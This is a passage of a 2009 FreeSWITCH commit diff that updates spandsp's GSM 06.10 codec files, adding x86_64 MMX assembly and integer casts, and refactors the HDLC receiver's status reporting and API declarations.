-                  + (wt[1]*dp[1 - lambda])
-                  + (wt[2]*dp[2 - lambda])
-                  + (wt[3]*dp[3 - lambda])
-                  + (wt[4]*dp[4 - lambda])
-                  + (wt[5]*dp[5 - lambda])
-                  + (wt[6]*dp[6 - lambda])
-                  + (wt[7]*dp[7 - lambda])
-                  + (wt[8]*dp[8 - lambda])
-                  + (wt[9]*dp[9 - lambda])
-                  + (wt[10]*dp[10 - lambda])
-                  + (wt[11]*dp[11 - lambda])
-                  + (wt[12]*dp[12 - lambda])
-                  + (wt[13]*dp[13 - lambda])
-                  + (wt[14]*dp[14 - lambda])
-                  + (wt[15]*dp[15 - lambda])
-                  + (wt[16]*dp[16 - lambda])
-                  + (wt[17]*dp[17 - lambda])
-                  + (wt[18]*dp[18 - lambda])
-                  + (wt[19]*dp[19 - lambda])
-                  + (wt[20]*dp[20 - lambda])
-                  + (wt[21]*dp[21 - lambda])
-                  + (wt[22]*dp[22 - lambda])
-                  + (wt[23]*dp[23 - lambda])
-                  + (wt[24]*dp[24 - lambda])
-                  + (wt[25]*dp[25 - lambda])
-                  + (wt[26]*dp[26 - lambda])
-                  + (wt[27]*dp[27 - lambda])
-                  + (wt[28]*dp[28 - lambda])
-                  + (wt[29]*dp[29 - lambda])
-                  + (wt[30]*dp[30 - lambda])
-                  + (wt[31]*dp[31 - lambda])
-                  + (wt[32]*dp[32 - lambda])
-                  + (wt[33]*dp[33 - lambda])
-                  + (wt[34]*dp[34 - lambda])
-                  + (wt[35]*dp[35 - lambda])
-                  + (wt[36]*dp[36 - lambda])
-                  + (wt[37]*dp[37 - lambda])
-                  + (wt[38]*dp[38 - lambda])
-                  + (wt[39]*dp[39 - lambda]);
-
-        if (L_result > L_max)
-        {
-            Nc = lambda;
-            L_max = L_result;
-        }
-        /*endif*/
-    }
-    /*endfor*/
-#endif
-    *Nc_out = Nc;
-
+    L_max = gsm0610_max_cross_corr(wt, dp, Nc_out);
     L_max <<= 1;
 
     /* Rescaling of L_max */
     assert(scale <= 100  &&  scale >=  -100);
     L_max = L_max >> (6 - scale);
 
-    assert(Nc <= 120  &&  Nc >= 40);
+    assert(*Nc_out <= 120  &&  *Nc_out >= 40);
 
     /* Compute the power of the reconstructed short term residual signal dp[..] */
     L_power = 0;
     for (k = 0;  k < 40;  k++)
     {
-        L_temp = dp[k - Nc] >> 3;
+        L_temp = dp[k - *Nc_out] >> 3;
         L_power += L_temp*L_temp;
     }
     /*endfor*/
@@ -381,7 +406,7 @@
     int16_t drpp;
     int16_t Nr;
 
-    /* This procedure uses the bcr and Ncr parameter to realize the
+    /* This procedure uses the bcr and Ncr parameters to realize the
        long term synthesis filter.  The decoding of bcr needs
        table 4.3b. */
 

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_lpc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_lpc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_lpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,28 +25,29 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_lpc.c,v 1.22 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_lpc.c,v 1.29 2009/02/05 15:57:27 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 #include <memory.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/bit_operations.h"
 #include "spandsp/saturated.h"
@@ -133,15 +134,79 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-#if defined(__GNUC__)  &&  defined(__i386__)
-void gsm0610_vec_vsraw(const int16_t *p, int n, int bits)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
+static void gsm0610_vec_vsraw(const int16_t *p, int n, int bits)
 {
     static const int64_t ones = 0x0001000100010001LL;
 
     if (n == 0)
         return;
     /*endif*/
+#if defined(__x86_64__)
     __asm__ __volatile__(
+        " leaq -16(%%rsi,%%rax,2),%%rdx;\n"         /* edx = top - 16 */
+        " emms;\n"
+        " movd %%ecx,%%mm3;\n"
+        " movq %[ones],%%mm2;\n"
+        " psllw %%mm3,%%mm2;\n"
+        " psrlw $1,%%mm2;\n"
+        " cmpq %%rdx,%%rsi;"
+        " ja 4f;\n"
+
+         " .p2align 2;\n"
+        /* 8 words per iteration */
+        "6:\n"
+        " movq (%%rsi),%%mm0;\n"
+        " movq 8(%%rsi),%%mm1;\n"
+        " paddsw %%mm2,%%mm0;\n"
+        " psraw %%mm3,%%mm0;\n"
+        " paddsw %%mm2,%%mm1;\n"
+        " psraw %%mm3,%%mm1;\n"
+        " movq %%mm0,(%%rsi);\n"
+        " movq %%mm1,8(%%rsi);\n"
+        " addq $16,%%rsi;\n"
+        " cmpq %%rdx,%%rsi;\n"
+        " jbe 6b;\n"
+
+        " .p2align 2;\n"
+        "4:\n"
+        " addq $12,%%rdx;\n"                        /* now edx = top-4 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 3f;\n"
+
+        " .p2align 2;\n"
+        /* do up to 6 words, two per iteration */
+        "5:\n"
+        " movd (%%rsi),%%mm0;\n"
+        " paddsw %%mm2,%%mm0;\n"
+        " psraw %%mm3,%%mm0;\n"
+        " movd %%mm0,(%%rsi);\n"
+        " addq $4,%%rsi;\n"
+        " cmpq %%rdx,%%rsi;\n"
+        " jbe 5b;\n"
+
+        " .p2align 2;\n"
+        "3:\n"
+        " addq $2,%%rdx;\n"                        /* now edx = top-2 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 2f;\n"
+        
+        " movzwl (%%rsi),%%eax;\n"
+        " movd %%eax,%%mm0;\n"
+        " paddsw %%mm2,%%mm0;\n"
+        " psraw %%mm3,%%mm0;\n"
+        " movd %%mm0,%%eax;\n"
+        " movw %%ax,(%%rsi);\n"
+
+        " .p2align 2;\n"
+        "2:\n"
+        " emms;\n"
+        :
+        : "S" (p), "a" (n), "c" (bits), [ones] "m" (ones)
+        : "edx"
+    );
+#else
+    __asm__ __volatile__(
         " leal -16(%%esi,%%eax,2),%%edx;\n"         /* edx = top - 16 */
         " emms;\n"
         " movd %%ecx,%%mm3;\n"
@@ -175,7 +240,7 @@
         " .p2align 2;\n"
         /* do up to 6 words, two per iteration */
         "5:\n"
-        " movd  (%%esi),%%mm0;\n"
+        " movd (%%esi),%%mm0;\n"
         " paddsw %%mm2,%%mm0;\n"
         " psraw %%mm3,%%mm0;\n"
         " movd %%mm0,(%%esi);\n"
@@ -203,6 +268,7 @@
         : "S" (p), "a" (n), "c" (bits), [ones] "m" (ones)
         : "edx"
     );
+#endif
 }
 /*- End of function --------------------------------------------------------*/
 #endif
@@ -213,7 +279,7 @@
     int k;
     int16_t smax;
     int16_t scalauto;
-#if !(defined(__GNUC__)  &&  defined(__i386__))
+#if !(defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX))
     int i;
     int temp;
     int16_t *sp;
@@ -225,7 +291,7 @@
 
     /* Dynamic scaling of the array  s[0..159] */
     /* Search for the maximum. */
-#if defined(__GNUC__)  &&  defined(__i386__)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
     smax = saturate(vec_min_maxi16(amp, GSM0610_FRAME_LEN, NULL));
 #else
     for (smax = 0, k = 0;  k < GSM0610_FRAME_LEN;  k++)
@@ -251,7 +317,7 @@
     /*endif*/
 
     /* Scaling of the array s[0...159] */
-#if defined(__GNUC__)  &&  defined(__i386__)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
     if (scalauto > 0)
         gsm0610_vec_vsraw(amp, GSM0610_FRAME_LEN, scalauto);
     /*endif*/
@@ -266,78 +332,78 @@
 #endif
 
     /* Compute the L_ACF[..]. */
-#if defined(__GNUC__)  &&  defined(__i386__)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
     for (k = 0;  k < 9;  k++)
         L_ACF[k] = vec_dot_prodi16(amp, amp + k, GSM0610_FRAME_LEN - k) << 1;
     /*endfor*/
 #else
     sp = amp;
     sl = *sp;
-    L_ACF[0] = ((int32_t) sl*sp[0]);
+    L_ACF[0] = ((int32_t) sl*(int32_t) sp[0]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] = ((int32_t) sl*sp[-1]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] = ((int32_t) sl*(int32_t) sp[-1]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] = ((int32_t) sl*sp[-2]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] = ((int32_t) sl*(int32_t) sp[-2]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] = ((int32_t) sl*sp[-3]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] = ((int32_t) sl*(int32_t) sp[-3]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] += ((int32_t) sl*sp[-3]);
-    L_ACF[4] = ((int32_t) sl*sp[-4]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+    L_ACF[4] = ((int32_t) sl*(int32_t) sp[-4]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] += ((int32_t) sl*sp[-3]);
-    L_ACF[4] += ((int32_t) sl*sp[-4]);
-    L_ACF[5] = ((int32_t) sl*sp[-5]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+    L_ACF[4] += ((int32_t) sl*(int32_t) sp[-4]);
+    L_ACF[5] = ((int32_t) sl*(int32_t) sp[-5]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] += ((int32_t) sl*sp[-3]);
-    L_ACF[4] += ((int32_t) sl*sp[-4]);
-    L_ACF[5] += ((int32_t) sl*sp[-5]);
-    L_ACF[6] = ((int32_t) sl*sp[-6]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+    L_ACF[4] += ((int32_t) sl*(int32_t) sp[-4]);
+    L_ACF[5] += ((int32_t) sl*(int32_t) sp[-5]);
+    L_ACF[6] = ((int32_t) sl*(int32_t) sp[-6]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] += ((int32_t) sl*sp[-3]);
-    L_ACF[4] += ((int32_t) sl*sp[-4]);
-    L_ACF[5] += ((int32_t) sl*sp[-5]);
-    L_ACF[6] += ((int32_t) sl*sp[-6]);
-    L_ACF[7] = ((int32_t) sl*sp[-7]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+    L_ACF[4] += ((int32_t) sl*(int32_t) sp[-4]);
+    L_ACF[5] += ((int32_t) sl*(int32_t) sp[-5]);
+    L_ACF[6] += ((int32_t) sl*(int32_t) sp[-6]);
+    L_ACF[7] = ((int32_t) sl*(int32_t) sp[-7]);
     sl = *++sp;
-    L_ACF[0] += ((int32_t) sl*sp[0]);
-    L_ACF[1] += ((int32_t) sl*sp[-1]);
-    L_ACF[2] += ((int32_t) sl*sp[-2]);
-    L_ACF[3] += ((int32_t) sl*sp[-3]);
-    L_ACF[4] += ((int32_t) sl*sp[-4]);
-    L_ACF[5] += ((int32_t) sl*sp[-5]);
-    L_ACF[6] += ((int32_t) sl*sp[-6]);
-    L_ACF[7] += ((int32_t) sl*sp[-7]);
-    L_ACF[8] = ((int32_t) sl*sp[-8]);
+    L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+    L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+    L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+    L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+    L_ACF[4] += ((int32_t) sl*(int32_t) sp[-4]);
+    L_ACF[5] += ((int32_t) sl*(int32_t) sp[-5]);
+    L_ACF[6] += ((int32_t) sl*(int32_t) sp[-6]);
+    L_ACF[7] += ((int32_t) sl*(int32_t) sp[-7]);
+    L_ACF[8] = ((int32_t) sl*(int32_t) sp[-8]);
     for (i = 9;  i < GSM0610_FRAME_LEN;  i++)
     {
         sl = *++sp;
-        L_ACF[0] += ((int32_t) sl*sp[0]);
-        L_ACF[1] += ((int32_t) sl*sp[-1]);
-        L_ACF[2] += ((int32_t) sl*sp[-2]);
-        L_ACF[3] += ((int32_t) sl*sp[-3]);
-        L_ACF[4] += ((int32_t) sl*sp[-4]);
-        L_ACF[5] += ((int32_t) sl*sp[-5]);
-        L_ACF[6] += ((int32_t) sl*sp[-6]);
-        L_ACF[7] += ((int32_t) sl*sp[-7]);
-        L_ACF[8] += ((int32_t) sl*sp[-8]);
+        L_ACF[0] += ((int32_t) sl*(int32_t) sp[0]);
+        L_ACF[1] += ((int32_t) sl*(int32_t) sp[-1]);
+        L_ACF[2] += ((int32_t) sl*(int32_t) sp[-2]);
+        L_ACF[3] += ((int32_t) sl*(int32_t) sp[-3]);
+        L_ACF[4] += ((int32_t) sl*(int32_t) sp[-4]);
+        L_ACF[5] += ((int32_t) sl*(int32_t) sp[-5]);
+        L_ACF[6] += ((int32_t) sl*(int32_t) sp[-6]);
+        L_ACF[7] += ((int32_t) sl*(int32_t) sp[-7]);
+        L_ACF[8] += ((int32_t) sl*(int32_t) sp[-8]);
     }
     /*endfor*/
     for (k = 0;  k < 9;  k++)

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_preprocess.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_preprocess.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_preprocess.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,27 +25,28 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_preprocess.c,v 1.14 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_preprocess.c,v 1.17 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_rpe.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_rpe.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_rpe.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,27 +25,28 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_rpe.c,v 1.22 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_rpe.c,v 1.25 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_short_term.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_short_term.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_short_term.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,27 +25,28 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_short_term.c,v 1.16 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_short_term.c,v 1.19 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"

Modified: freeswitch/branches/seven/libs/spandsp/src/hdlc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/hdlc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/hdlc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: hdlc.c,v 1.61 2008/09/07 12:45:16 steveu Exp $
+ * $Id: hdlc.c,v 1.72 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -41,11 +41,21 @@
 #include "spandsp/crc.h"
 #include "spandsp/bit_operations.h"
 #include "spandsp/hdlc.h"
+#include "spandsp/private/hdlc.h"
 
-static void rx_special_condition(hdlc_rx_state_t *s, int condition)
+static void report_status_change(hdlc_rx_state_t *s, int status)
 {
+    if (s->status_handler)
+        s->status_handler(s->status_user_data, status);
+    else if (s->frame_handler)
+        s->frame_handler(s->frame_user_data, NULL, status, TRUE);
+}
+/*- End of function --------------------------------------------------------*/
+
+static void rx_special_condition(hdlc_rx_state_t *s, int status)
+{
     /* Special conditions */
-    switch (condition)
+    switch (status)
     {
     case SIG_STATUS_CARRIER_UP:
     case SIG_STATUS_TRAINING_SUCCEEDED:
@@ -60,7 +70,7 @@
     case SIG_STATUS_TRAINING_FAILED:
     case SIG_STATUS_CARRIER_DOWN:
     case SIG_STATUS_END_OF_DATA:
-        s->frame_handler(s->user_data, NULL, condition, TRUE);
+        report_status_change(s, status);
         break;
     default:
         //printf("Eh!\n");
@@ -81,7 +91,7 @@
         if (--s->octet_count <= 0)
         {
             s->octet_count = s->octet_count_report_interval;
-            s->frame_handler(s->user_data, NULL, SIG_STATUS_OCTET_REPORT, TRUE);
+            report_status_change(s, SIG_STATUS_OCTET_REPORT);
         }
     }
     else
@@ -104,7 +114,7 @@
         if (--s->octet_count <= 0)
         {
             s->octet_count = s->octet_count_report_interval;
-            s->frame_handler(s->user_data, NULL, SIG_STATUS_OCTET_REPORT, TRUE);
+            report_status_change(s, SIG_STATUS_OCTET_REPORT);
         }
     }
 }
@@ -116,11 +126,11 @@
     {
         /* Hit HDLC abort */
         s->rx_aborts++;
-        s->frame_handler(s->user_data, NULL, SIG_STATUS_ABORT, TRUE);
+        report_status_change(s, SIG_STATUS_ABORT);
         /* If we have not yet seen enough flags, restart the count. If we
            are beyond that point, just back off one step, so we need to see
            another flag before proceeding to collect frame octets. */
-        if (s->flags_seen < s->framing_ok_threshold)
+        if (s->flags_seen < s->framing_ok_threshold - 1)
             s->flags_seen = 0;
         else
             s->flags_seen = s->framing_ok_threshold - 1;
@@ -137,7 +147,7 @@
             /* We may have a frame, or we may have back to back flags */
             if (s->len)
             {
-                if (s->num_bits == 7  &&  s->len >= s->crc_bytes  &&  s->len <= s->max_frame_len)
+                if (s->num_bits == 7  &&  s->len >= (size_t) s->crc_bytes  &&  s->len <= s->max_frame_len)
                 {
                     if ((s->crc_bytes == 2  &&  crc_itu16_check(s->buffer, s->len))
                         ||
@@ -146,7 +156,7 @@
                         s->rx_frames++;
                         s->rx_bytes += s->len - s->crc_bytes;
                         s->len -= s->crc_bytes;
-                        s->frame_handler(s->user_data, s->buffer, s->len, TRUE);
+                        s->frame_handler(s->frame_user_data, s->buffer, s->len, TRUE);
                     }
                     else
                     {
@@ -154,7 +164,7 @@
                         if (s->report_bad_frames)
                         {
                             s->len -= s->crc_bytes;
-                            s->frame_handler(s->user_data, s->buffer, s->len, FALSE);
+                            s->frame_handler(s->frame_user_data, s->buffer, s->len, FALSE);
                         }
                     }
                 }
@@ -165,11 +175,11 @@
                     {
                         /* Don't let the length go below zero, or it will be confused
                            with one of the special conditions. */
-                        if (s->len >= s->crc_bytes)
+                        if (s->len >= (size_t) s->crc_bytes)
                             s->len -= s->crc_bytes;
                         else
                             s->len = 0;
-                        s->frame_handler(s->user_data, s->buffer, s->len, FALSE);
+                        s->frame_handler(s->frame_user_data, s->buffer, s->len, FALSE);
                     }
                     s->rx_length_errors++;
                 }
@@ -181,10 +191,19 @@
                greatly reduces the chances of false preamble detection, and anything
                which doesn't send them back-to-back is badly broken. */
             if (s->num_bits != 7)
-                s->flags_seen = 0;
+            {
+                /* Don't set the flags seen indicator back to zero too aggressively.
+                   We want to pick up with the minimum of discarded data when there
+                   is a bit error in the stream, and a bit error could emulate a
+                   misaligned flag. */
+                if (s->flags_seen < s->framing_ok_threshold - 1)
+                    s->flags_seen = 0;
+                else
+                    s->flags_seen = s->framing_ok_threshold - 1;
+            }
             if (++s->flags_seen >= s->framing_ok_threshold  &&  !s->framing_ok_announced)
             {
-                s->frame_handler(s->user_data, NULL, SIG_STATUS_FRAMING_OK, TRUE);
+                report_status_change(s, SIG_STATUS_FRAMING_OK);
                 s->framing_ok_announced = TRUE;
             }
         }
@@ -233,7 +252,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_rx_put_bit(hdlc_rx_state_t *s, int new_bit)
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put_bit(hdlc_rx_state_t *s, int new_bit)
 {
     if (new_bit < 0)
     {
@@ -245,7 +264,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_rx_put_byte(hdlc_rx_state_t *s, int new_byte)
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put_byte(hdlc_rx_state_t *s, int new_byte)
 {
     int i;
 
@@ -263,7 +282,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_rx_put(hdlc_rx_state_t *s, const uint8_t buf[], int len)
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put(hdlc_rx_state_t *s, const uint8_t buf[], int len)
 {
     int i;
 
@@ -272,25 +291,25 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_rx_set_max_frame_len(hdlc_rx_state_t *s, size_t max_len)
+SPAN_DECLARE(void) hdlc_rx_set_max_frame_len(hdlc_rx_state_t *s, size_t max_len)
 {
     max_len += s->crc_bytes;
     s->max_frame_len = (max_len <= sizeof(s->buffer))  ?  max_len  :  sizeof(s->buffer);
 }
 /*- End of function --------------------------------------------------------*/
 
-void hdlc_rx_set_octet_counting_report_interval(hdlc_rx_state_t *s, int interval)
+SPAN_DECLARE(void) hdlc_rx_set_octet_counting_report_interval(hdlc_rx_state_t *s, int interval)
 {
     s->octet_count_report_interval = interval;
 }
 /*- End of function --------------------------------------------------------*/
 
-hdlc_rx_state_t *hdlc_rx_init(hdlc_rx_state_t *s,
-                              int crc32,
-                              int report_bad_frames,
-                              int framing_ok_threshold,
-                              hdlc_frame_handler_t handler,
-                              void *user_data)
+SPAN_DECLARE(hdlc_rx_state_t *) hdlc_rx_init(hdlc_rx_state_t *s,
+                                             int crc32,
+                                             int report_bad_frames,
+                                             int framing_ok_threshold,
+                                             hdlc_frame_handler_t handler,
+                                             void *user_data)
 {
     if (s == NULL)
     {
@@ -299,7 +318,7 @@
     }
     memset(s, 0, sizeof(*s));
     s->frame_handler = handler;
-    s->user_data = user_data;
+    s->frame_user_data = user_data;
     s->crc_bytes = (crc32)  ?  4  :  2;
     s->report_bad_frames = report_bad_frames;
     s->framing_ok_threshold = (framing_ok_threshold < 1)  ?  1  :  framing_ok_threshold;
@@ -308,9 +327,36 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_rx_get_stats(hdlc_rx_state_t *s,
-                      hdlc_rx_stats_t *t)
+SPAN_DECLARE(void) hdlc_rx_set_frame_handler(hdlc_rx_state_t *s, hdlc_frame_handler_t handler, void *user_data)
 {
+    s->frame_handler = handler;
+    s->frame_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) hdlc_rx_set_status_handler(hdlc_rx_state_t *s, modem_rx_status_func_t handler, void *user_data)
+{
+    s->status_handler = handler;
+    s->status_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) hdlc_rx_release(hdlc_rx_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) hdlc_rx_free(hdlc_rx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) hdlc_rx_get_stats(hdlc_rx_state_t *s,
+                                    hdlc_rx_stats_t *t)
+{
     t->bytes = s->rx_bytes;
     t->good_frames = s->rx_frames;
     t->crc_errors = s->rx_crc_errors;
@@ -320,7 +366,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_frame(hdlc_tx_state_t *s, const uint8_t *frame, size_t len)
+SPAN_DECLARE(int) hdlc_tx_frame(hdlc_tx_state_t *s, const uint8_t *frame, size_t len)
 {
     if (len <= 0)
     {
@@ -355,7 +401,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_flags(hdlc_tx_state_t *s, int len)
+SPAN_DECLARE(int) hdlc_tx_flags(hdlc_tx_state_t *s, int len)
 {
     /* Some HDLC applications require the ability to force a period of HDLC
        flag words. */
@@ -371,7 +417,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_abort(hdlc_tx_state_t *s)
+SPAN_DECLARE(int) hdlc_tx_abort(hdlc_tx_state_t *s)
 {
     /* TODO: This is a really crude way of just fudging an abort out for simple
              test purposes. */
@@ -381,7 +427,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_corrupt_frame(hdlc_tx_state_t *s)
+SPAN_DECLARE(int) hdlc_tx_corrupt_frame(hdlc_tx_state_t *s)
 {
     if (s->len <= 0)
         return -1;
@@ -394,7 +440,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int hdlc_tx_get_byte(hdlc_tx_state_t *s)
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get_byte(hdlc_tx_state_t *s)
 {
     int i;
     int byte_in_progress;
@@ -442,7 +488,7 @@
                 }
                 s->pos = HDLC_MAXFRAME_LEN;
             }
-            else if (s->pos == HDLC_MAXFRAME_LEN + s->crc_bytes)
+            else if (s->pos == (size_t) (HDLC_MAXFRAME_LEN + s->crc_bytes))
             {
                 /* Finish off the current byte with some flag bits. If we are at the
                    start of a byte we need a at least one whole byte of flag to ensure
